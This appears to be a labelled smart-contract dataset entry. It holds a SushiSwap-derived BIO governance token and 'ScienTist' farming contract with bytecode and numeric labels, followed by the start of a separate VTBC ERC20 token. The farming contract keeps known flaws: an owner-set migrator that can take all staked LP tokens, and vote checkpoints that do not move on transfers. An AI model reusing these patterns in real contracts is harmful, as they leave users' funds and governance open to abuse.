function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "BIO::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "BIO::delegateBySig: invalid nonce");
require(now <= expiry, "BIO::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "BIO::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying BIOs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "BIO::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
// File: contracts/ScienTist.sol
pragma solidity 0.6.12;
interface IMigratorScientist {
// Perform LP token migration from legacy UniswapV2 to BioSwap.
// Take the current LP token address and return the new LP token address.
// Migrator should have full access to the caller's LP token.
// Return the new LP token address.
//
// XXX Migrator must have allowance access to UniswapV2 LP tokens.
// BioSwap must mint EXACTLY the same amount of BioSwap LP tokens or
// else something bad will happen. Traditional UniswapV2 does not
// do that so be careful!
function migrate(IERC20 token) external returns (IERC20);
}
// ScienTist is the master of Bio. He can make Bio and he is a fair guy.
//
// Note that it's ownable and the owner wields tremendous power. The ownership
// will be transferred to a governance smart contract once BIO is sufficiently
// distributed and the community can show to govern itself.
//
// Have fun reading it. Hopefully it's bug-free. God bless.
contract ScienTist is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of BIOs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accBioPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accBioPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. BIOs to distribute per block.
uint256 lastRewardBlock; // Last block number that BIOs distribution occurs.
uint256 accBioPerShare; // Accumulated BIOs per share, times 1e12. See below.
}
// The BIO TOKEN!
BioToken public bio;
// Dev address.
address public devaddr;
// Block number when bonus BIO period ends.
uint256 public bonusEndBlock;
// BIO tokens created per block.
uint256 public bioPerBlock;
// Bonus muliplier for early bio makers.
uint256 public constant BONUS_MULTIPLIER = 10;
// The migrator contract. It has a lot of power. Can only be set through governance (owner).
IMigratorScientist public migrator;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when BIO mining starts.
uint256 public startBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(
BioToken _bio,
address _devaddr,
uint256 _bioPerBlock,
uint256 _startBlock,
uint256 _bonusEndBlock
) public {
bio = _bio;
devaddr = _devaddr;
bioPerBlock = _bioPerBlock;
bonusEndBlock = _bonusEndBlock;
startBlock = _startBlock;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accBioPerShare: 0
}));
}
// Update the given pool's BIO allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Set the migrator contract. Can only be called by the owner.
function setMigrator(IMigratorScientist _migrator) public onlyOwner {
migrator = _migrator;
}
// Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good.
function migrate(uint256 _pid) public {
require(address(migrator) != address(0), "migrate: no migrator");
PoolInfo storage pool = poolInfo[_pid];
IERC20 lpToken = pool.lpToken;
uint256 bal = lpToken.balanceOf(address(this));
lpToken.safeApprove(address(migrator), bal);
IERC20 newLpToken = migrator.migrate(lpToken);
require(bal == newLpToken.balanceOf(address(this)), "migrate: bad");
pool.lpToken = newLpToken;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
if (_to <= bonusEndBlock) {
return _to.sub(_from).mul(BONUS_MULTIPLIER);
} else if (_from >= bonusEndBlock) {
return _to.sub(_from);
} else {
return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add(
_to.sub(bonusEndBlock)
);
}
}
// View function to see pending BIOs on frontend.
function pendingBio(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accBioPerShare = pool.accBioPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 bioReward = multiplier.mul(bioPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accBioPerShare = accBioPerShare.add(bioReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accBioPerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 bioReward = multiplier.mul(bioPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
bio.mint(devaddr, bioReward.div(10));
bio.mint(address(this), bioReward);
pool.accBioPerShare = pool.accBioPerShare.add(bioReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to ScienTist for BIO allocation.
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accBioPerShare).div(1e12).sub(user.rewardDebt);
safeBioTransfer(msg.sender, pending);
}
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accBioPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from ScienTist.
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accBioPerShare).div(1e12).sub(user.rewardDebt);
safeBioTransfer(msg.sender, pending);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accBioPerShare).div(1e12);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
// Safe bio transfer function, just in case if rounding error causes pool to not have enough BIOs.
function safeBioTransfer(address _to, uint256 _amount) internal {
uint256 bioBal = bio.balanceOf(address(this));
if (_amount > bioBal) {
bio.transfer(_to, bioBal);
} else {
bio.transfer(_to, _amount);
}
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wut?");
devaddr = _devaddr;
}
} | 0x608060405234801561001057600080fd5b506004361061018e5760003560e01c8063715018a6116100de57806393f1a40b11610097578063d49e77cd11610071578063d49e77cd14610419578063e2bbb15814610421578063f2fde38b14610444578063f516b4221461046a5761018e565b806393f1a40b146103a0578063a2bc5c20146103e5578063d383e622146104115761018e565b8063715018a61461031b5780637cd07e47146103235780638aa28550146103475780638d88a90e1461034f5780638da5cb5b146103755780638dbb1e3a1461037d5761018e565b8063441a3e701161014b57806351eb05a61161012557806351eb05a6146102ae5780635312ea8e146102cb578063630b5ba1146102e857806364482f79146102f05761018e565b8063441a3e7014610266578063454b06081461028957806348cd4cb1146102a65761018e565b8063081e3eda146101935780631526fe27146101ad57806317caf6f1146101fa5780631aed6553146102025780631eaaa0451461020a57806323cf311814610240575b600080fd5b61019b610472565b60408051918252519081900360200190f35b6101ca600480360360208110156101c357600080fd5b5035610478565b604080516001600160a01b0390951685526020850193909352838301919091526060830152519081900360800190f35b61019b6104b9565b61019b6104bf565b61023e6004803603606081101561022057600080fd5b508035906001600160a01b03602082013516906040013515156104c5565b005b61023e6004803603602081101561025657600080fd5b50356001600160a01b0316610640565b61023e6004803603604081101561027c57600080fd5b50803590602001356106ba565b61023e6004803603602081101561029f57600080fd5b503561080d565b61019b610a69565b61023e600480360360208110156102c457600080fd5b5035610a6f565b61023e600480360360208110156102e157600080fd5b5035610c96565b61023e610d31565b61023e6004803603606081101561030657600080fd5b50803590602081013590604001351515610d54565b61023e610e25565b61032b610ec7565b604080516001600160a01b039092168252519081900360200190f35b61019b610ed6565b61023e6004803603602081101561036557600080fd5b50356001600160a01b0316610edb565b61032b610f48565b61019b6004803603604081101561039357600080fd5b5080359060200135610f57565b6103cc600480360360408110156103b657600080fd5b50803590602001356001600160a01b0316610fc3565b6040805192835260208301919091528051918290030190f35b61019b600480360360408110156103fb57600080fd5b50803590602001356001600160a01b0316610fe7565b61019b611149565b61032b61114f565b61023e6004803603604081101561043757600080fd5b508035906020013561115e565b61023e6004803603602081101561045a57600080fd5b50356001600160a01b0316611263565b61032b61135b565b60065490565b6006818154811061048557fe5b600091825260209091206004909102018054600182015460028301546003909301546001600160a01b039092169350919084565b60085481565b60035481565b6104cd61136a565b6000546001600160a01b0390811691161461051d576040805162461bcd60e51b81526020600482018190526024820152600080516020611bb4833981519152604482015290519081900360640190fd5b801561052b5761052b610d31565b6000600954431161053e57600954610540565b435b600854909150610550908561136e565b600855604080516080810182526001600160a01b0394851681526020810195865290810191825260006060820181815260068054600181018255925291517ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f600490920291820180546001600160a01b031916919096161790945593517ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d40840155517ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d418301555090517ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d4290910155565b61064861136a565b6000546001600160a01b03908116911614610698576040805162461bcd60e51b81526020600482018190526024820152600080516020611bb4833981519152604482015290519081900360640190fd5b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000600683815481106106c957fe5b60009182526020808320868452600782526040808520338652909252922080546004909202909201925083111561073c576040805162461bcd60e51b81526020600482015260126024820152711dda5d1a191c985dce881b9bdd0819dbdbd960721b604482015290519081900360640190fd5b61074584610a6f565b600061077f826001015461077964e8d4a51000610773876003015487600001546113cf90919063ffffffff16565b90611428565b9061146a565b905061078b33826114ac565b8154610797908561146a565b80835560038401546107b49164e8d4a510009161077391906113cf565b600183015582546107cf906001600160a01b0316338661163d565b604080518581529051869133917ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b5689181900360200190a35050505050565b6005546001600160a01b0316610861576040805162461bcd60e51b815260206004820152601460248201527336b4b3b930ba329d1037379036b4b3b930ba37b960611b604482015290519081900360640190fd5b60006006828154811061087057fe5b600091825260208083206004928302018054604080516370a0823160e01b81523095810195909552519195506001600160a01b0316939284926370a0823192602480840193829003018186803b1580156108c957600080fd5b505afa1580156108dd573d6000803e3d6000fd5b505050506040513d60208110156108f357600080fd5b5051600554909150610912906001600160a01b0384811691168361168f565b6005546040805163ce5494bb60e01b81526001600160a01b0385811660048301529151600093929092169163ce5494bb9160248082019260209290919082900301818787803b15801561096457600080fd5b505af1158015610978573d6000803e3d6000fd5b505050506040513d602081101561098e57600080fd5b5051604080516370a0823160e01b815230600482015290519192506001600160a01b038316916370a0823191602480820192602092909190829003018186803b1580156109da57600080fd5b505afa1580156109ee573d6000803e3d6000fd5b505050506040513d6020811015610a0457600080fd5b50518214610a48576040805162461bcd60e51b815260206004820152600c60248201526b1b5a59dc985d194e8818985960a21b604482015290519081900360640190fd5b83546001600160a01b0319166001600160a01b039190911617909255505050565b60095481565b600060068281548110610a7e57fe5b9060005260206000209060040201905080600201544311610a9f5750610c93565b8054604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610ae957600080fd5b505afa158015610afd573d6000803e3d6000fd5b505050506040513d6020811015610b1357600080fd5b5051905080610b29575043600290910155610c93565b6000610b39836002015443610f57565b90506000610b666008546107738660010154610b60600454876113cf90919063ffffffff16565b906113cf565b6001546002549192506001600160a01b03908116916340c10f199116610b8d84600a611428565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050600060405180830381600087803b158015610bd357600080fd5b505af1158015610be7573d6000803e3d6000fd5b5050600154604080516340c10f1960e01b81523060048201526024810186905290516001600160a01b0390921693506340c10f19925060448082019260009290919082900301818387803b158015610c3e57600080fd5b505af1158015610c52573d6000803e3d6000fd5b50505050610c80610c758461077364e8d4a51000856113cf90919063ffffffff16565b60038601549061136e565b6003850155505043600290920191909155505b50565b600060068281548110610ca557fe5b60009182526020808320858452600782526040808520338087529352909320805460049093029093018054909450610cea926001600160a01b0391909116919061163d565b80546040805191825251849133917fbb757047c2b5f3974fe26b7c10f732e7bce710b0952a71082702781e62ae05959181900360200190a360008082556001909101555050565b60065460005b81811015610d5057610d4881610a6f565b600101610d37565b5050565b610d5c61136a565b6000546001600160a01b03908116911614610dac576040805162461bcd60e51b81526020600482018190526024820152600080516020611bb4833981519152604482015290519081900360640190fd5b8015610dba57610dba610d31565b610df782610df160068681548110610dce57fe5b90600052602060002090600402016001015460085461146a90919063ffffffff16565b9061136e565b6008819055508160068481548110610e0b57fe5b906000526020600020906004020160010181905550505050565b610e2d61136a565b6000546001600160a01b03908116911614610e7d576040805162461bcd60e51b81526020600482018190526024820152600080516020611bb4833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6005546001600160a01b031681565b600a81565b6002546001600160a01b03163314610f26576040805162461bcd60e51b81526020600482015260096024820152686465763a207775743f60b81b604482015290519081900360640190fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031690565b60006003548211610f7857610f71600a610b60848661146a565b9050610fbd565b6003548310610f8b57610f71828461146a565b610f71610fa36003548461146a90919063ffffffff16565b610df1600a610b608760035461146a90919063ffffffff16565b92915050565b60076020908152600092835260408084209091529082529020805460019091015482565b60008060068481548110610ff757fe5b600091825260208083208784526007825260408085206001600160a01b03898116875290845281862060049586029093016003810154815484516370a0823160e01b81523098810198909852935191985093969395939492909116926370a08231926024808301939192829003018186803b15801561107557600080fd5b505afa158015611089573d6000803e3d6000fd5b505050506040513d602081101561109f57600080fd5b50516002850154909150431180156110b657508015155b156111165760006110cb856002015443610f57565b905060006110f26008546107738860010154610b60600454876113cf90919063ffffffff16565b905061111161110a846107738464e8d4a510006113cf565b859061136e565b935050505b61113e836001015461077964e8d4a510006107738688600001546113cf90919063ffffffff16565b979650505050505050565b60045481565b6002546001600160a01b031681565b60006006838154811061116d57fe5b6000918252602080832086845260078252604080852033865290925292206004909102909101915061119e84610a6f565b8054156111e15760006111d3826001015461077964e8d4a51000610773876003015487600001546113cf90919063ffffffff16565b90506111df33826114ac565b505b81546111f8906001600160a01b03163330866117a2565b8054611204908461136e565b80825560038301546112219164e8d4a510009161077391906113cf565b6001820155604080518481529051859133917f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a159181900360200190a350505050565b61126b61136a565b6000546001600160a01b039081169116146112bb576040805162461bcd60e51b81526020600482018190526024820152600080516020611bb4833981519152604482015290519081900360640190fd5b6001600160a01b0381166113005760405162461bcd60e51b8152600401808060200182810382526026815260200180611b6d6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b031681565b3390565b6000828201838110156113c8576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6000826113de57506000610fbd565b828202828482816113eb57fe5b04146113c85760405162461bcd60e51b8152600401808060200182810382526021815260200180611b936021913960400191505060405180910390fd5b60006113c883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611802565b60006113c883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118a4565b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156114f757600080fd5b505afa15801561150b573d6000803e3d6000fd5b505050506040513d602081101561152157600080fd5b50519050808211156115b5576001546040805163a9059cbb60e01b81526001600160a01b038681166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561158357600080fd5b505af1158015611597573d6000803e3d6000fd5b505050506040513d60208110156115ad57600080fd5b506116389050565b6001546040805163a9059cbb60e01b81526001600160a01b038681166004830152602482018690529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561160b57600080fd5b505af115801561161f573d6000803e3d6000fd5b505050506040513d602081101561163557600080fd5b50505b505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526116389084906118fe565b801580611715575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b1580156116e757600080fd5b505afa1580156116fb573d6000803e3d6000fd5b505050506040513d602081101561171157600080fd5b5051155b6117505760405162461bcd60e51b8152600401808060200182810382526036815260200180611bfe6036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b1790526116389084906118fe565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526117fc9085906118fe565b50505050565b6000818361188e5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561185357818101518382015260200161183b565b50505050905090810190601f1680156118805780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161189a57fe5b0495945050505050565b600081848411156118f65760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561185357818101518382015260200161183b565b505050900390565b6060611953826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166119af9092919063ffffffff16565b8051909150156116385780806020019051602081101561197257600080fd5b50516116385760405162461bcd60e51b815260040180806020018281038252602a815260200180611bd4602a913960400191505060405180910390fd5b60606119be84846000856119c6565b949350505050565b60606119d185611b33565b611a22576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b60208310611a615780518252601f199092019160209182019101611a42565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611ac3576040519150601f19603f3d011682016040523d82523d6000602084013e611ac8565b606091505b50915091508115611adc5791506119be9050565b805115611aec5780518082602001fd5b60405162461bcd60e51b815260206004820181815286516024840152865187939192839260440191908501908083836000831561185357818101518382015260200161183b565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708181148015906119be57505015159291505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a26469706673582212208a484f0aed9315c2eaa2613b3e959cd395911649fd817eab94b97f31a49b054864736f6c634300060c0033 | [
16,
4,
9,
7
] |
0xf3504da0b279bd61ac3f6acd87b20ec36a5303e4 | pragma solidity 0.6.6;
// ----------------------------------------------------------------------------
// VTBC token main contract (2020)
//
// Symbol : VTBC
// Name : VTBC
// Total supply : 1.000.000
// Decimals : 18
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); }
function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; }
function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); }
function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; }
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
abstract contract ERC20Interface {
function totalSupply() public virtual view returns (uint);
function balanceOf(address tokenOwner) public virtual view returns (uint balance);
function allowance(address tokenOwner, address spender) public virtual view returns (uint remaining);
function transfer(address to, uint tokens) public virtual returns (bool success);
function approve(address spender, uint tokens) public virtual returns (bool success);
function transferFrom(address from, address to, uint tokens) public virtual returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
// ----------------------------------------------------------------------------
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes memory data) public virtual;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed from, address indexed to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address transferOwner) public onlyOwner {
require(transferOwner != newOwner);
newOwner = transferOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// VTBC ERC20 Token
// ----------------------------------------------------------------------------
contract VTBC is ERC20Interface, Owned {
using SafeMath for uint;
bool public running = true;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Contract init. Set symbol, name, decimals and initial fixed supply
// ------------------------------------------------------------------------
constructor() public {
symbol = "VTBC";
name = "VTBC";
decimals = 18;
_totalSupply = 1000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public override view returns (uint) {
return _totalSupply;
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public override view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public override returns (bool success) {
require(tokens <= balances[msg.sender]);
require(to != address(0));
_transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
